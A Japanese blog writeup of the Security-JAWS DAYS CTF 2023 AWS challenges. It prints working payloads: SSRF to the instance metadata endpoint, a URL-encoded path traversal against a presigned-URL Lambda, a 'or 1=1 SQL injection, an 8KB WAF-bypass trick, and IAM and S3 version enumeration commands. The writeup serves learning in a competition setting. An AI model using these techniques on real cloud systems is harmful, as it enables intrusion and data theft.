🚀

Secirity-JAWS DAYS CTF 2023 writeup

2023/09/03に公開

get provision

urlを入力するとアクセスしてくれるウェブアプリ

SSRFできそう

http://169.254.169.254/latest/user-data

#!/usr/bin/bash sudo apt -y update sudo mkdir /home/ubuntu/.flag sudo echo "SJAWS{Get_1nst@nce_U2er_dat@!}" >> /home/ubuntu/.flag/secret

メタデータからflagをゲット

参考
https://scgajge12.hatenablog.com/entry/ctf_cloud_2022

Find data 3

s3のバージョンを遡るとflagゲット

aws s3api list-object-versions --bucket himituno-bucket3

{
    "Versions": [
        {
            "ETag": "\"c9f27b84582adb55f13c221fcb6a98c2\"",
            "Size": 34,
            "StorageClass": "STANDARD",
            "Key": "SECRET_DATA",
            "VersionId": "MO4Xz6sB8DONDjCid6ideiRgfdyywcSv",
            "IsLatest": false,
            "LastModified": "2023-08-06T14:09:57+00:00",
            "Owner": {
                "DisplayName": "metal.preacher.667+secjawsctf02",
                "ID": "fc0f5cd79b017dfe728d64cc204668f1627550263b144a54ae6c2074446d2f59"
            }
        },
        {
            "ETag": "\"5a60a9f41ca16805b78555e750446f4f\"",
            "Size": 89,
            "StorageClass": "STANDARD",
            "Key": "readme.txt",
            "VersionId": "C5Liv01TTxQDidoi3Uhs2NJuBkFCPCQI",
            "IsLatest": true,
            "LastModified": "2023-08-06T14:11:05+00:00",
            "Owner": {
                "DisplayName": "metal.preacher.667+secjawsctf02",
                "ID": "fc0f5cd79b017dfe728d64cc204668f1627550263b144a54ae6c2074446d2f59"
            }
        }
    ],
    "DeleteMarkers": [
        {
            "Owner": {
                "DisplayName": "metal.preacher.667+secjawsctf02",
                "ID": "fc0f5cd79b017dfe728d64cc204668f1627550263b144a54ae6c2074446d2f59"
            },
            "Key": "SECRET_DATA",
            "VersionId": "RNzJqEkR36thowt.ug5SxaGYT18yckYP",
            "IsLatest": true,
            "LastModified": "2023-08-06T14:10:21+00:00"
        }
    ],
    "RequestCharged": null
}

aws s3api get-object --bucket himituno-bucket3 --version-id MO4Xz6sB8DONDjCid6ideiRgfdyywcSv --key SECRET_DATA SECRET_DATA

u nix path?

https://blog.flatt.tech/entry/s3_security

ファイルがダウンロードできるサイト
どうやらs3の署名付きurlを発行しているらしい

export const handler = async (
  event: APIGatewayProxyEvent,
): Promise<APIGatewayProxyResult> => {
  const { fileId } = event.pathParameters as { fileId: string };

  const decodetFileId = decodeURIComponent(fileId);
  const key = path.normalize(`public/${decodetFileId}`);

  const command = new GetObjectCommand({
    Bucket: process.env.BUCKET_NAME as string,
    Key: key,
  });

  const url = await getSignedUrl(s3, command, { expiresIn: 60 });

  return response(200, JSON.stringify({ url }));
};

normalizeの時にディレクトリトラバーサルを行うことができそう
ディレクトリトラバーサルを行うと署名付きパスの中身が/private/flagにできるのでs3の中身がダウンロードできる

https://knvl3qg6k1.execute-api.ap-northeast-1.amazonaws.com/v1/api/file/..%2Fprivate%2Fflag

is the secret protected?

想定解ではなかったのに簡単なSQLiで通ってしまった
WAFを信じすぎないようにしよう

a 'or 1=1; --

↓想定解
通常だとbackendのec2から返ってくる場合とelbから返ってくる場合がある
elbから返ってきているのはWAFで弾かれそうと推測
先頭8kbに大量のリクエストを入れてbypass→SQLi

参考
https://kloudle.com/blog/the-infamous-8kb-aws-waf-request-body-inspection-limitation/

show iam policy

policyを見てSidにflagが仕込まれている

{
    "GroupName": "ctf5",
    "PolicyName": "selfcheck",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": {
            "Sid": "U0pBV1N7RG9feW91LWZpbmRfdGhlX0B0dGFjaGVkX3AwbDFjeT99",
            "Effect": "Allow",
            "Action": [
                "iam:Get*",
                "iam:List*"
            ],
            "Resource": [
                "arn:aws:iam::055450064556:group/ctf5",
                "arn:aws:iam::055450064556:user/ctf_challenge_5"
            ]
        }
    }
}

U0pBV1N7RG9feW91LWZpbmRfdGhlX0B0dGFjaGVkX3AwbDFjeT99

base64

run function

aws iam get-user

{
    "User": {
        "Path": "/",
        "UserName": "ctf_challenge_6",
        "UserId": "AIDAQZ2IU22WIFYNZDUBU",
        "Arn": "arn:aws:iam::055450064556:user/ctf_challenge_6",
        "CreateDate": "2023-08-07T15:12:54+00:00"
    }
}

get access key

aws list-user-policies --user-name ctf_challnege_6

runlambdaがついている

見てみる
aws iam get-user-policy --user-name ctf_challenge_6 --policy-name runlambda

    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "readiam",
                "Effect": "Allow",
                "Action": [
                    "iam:Get*",
                    "iam:List*"
                ],
                "Resource": "arn:aws:iam::055450064556:user/ctf_challenge_6"
            },
            {
                "Sid": "lambdaInvoke",
                "Effect": "Allow",
                "Action": [
                    "lambda:InvokeFunction"
                ],
                "Resource": "arn:aws:lambda:ap-northeast-1:055450064556:function:run_me"
            }
        ]
    }
}

aws lambda invoke --function-name run_me lambda.txt --log-type Tail

{
    "StatusCode": 200,
    "LogResult": "U1RBUlQgUmVxdWVzdElkOiA0ZWE5MzQ3MS00MjM0LTQyNTQtYWRiOS0zZDRmZTRlZDRkNjMgVmVyc2lvbjogJExBVEVTVApTSkFXU3tZb3Vfd2FzX2FibGVfdG9fYXJyaXZlX0B0X3RoZV9sYW1iZGFfZnVuY3Rpb24uLXdlbGxfZG9uZSF9CkVORCBSZXF1ZXN0SWQ6IDRlYTkzNDcxLTQyMzQtNDI1NC1hZGI5LTNkNGZlNGVkNGQ2MwpSRVBPUlQgUmVxdWVzdElkOiA0ZWE5MzQ3MS00MjM0LTQyNTQtYWRiOS0zZDRmZTRlZDRkNjMJRHVyYXRpb246IDAuOTggbXMJQmlsbGVkIER1cmF0aW9uOiAxIG1zCU1lbW9yeSBTaXplOiAxMjggTUIJTWF4IE1lbW9yeSBVc2VkOiA0MSBNQgkK",
    "ExecutedVersion": "$LATEST"
}

LogResultをbase64デコードすると結果が得られる

作問者writeup

https://scgajge12.hatenablog.com/entry/security_jaws_days_2023
https://speakerdeck.com/tigerszk/security-jaws-days-ctf-zuo-wen-zhe-jie-shuo

Discussion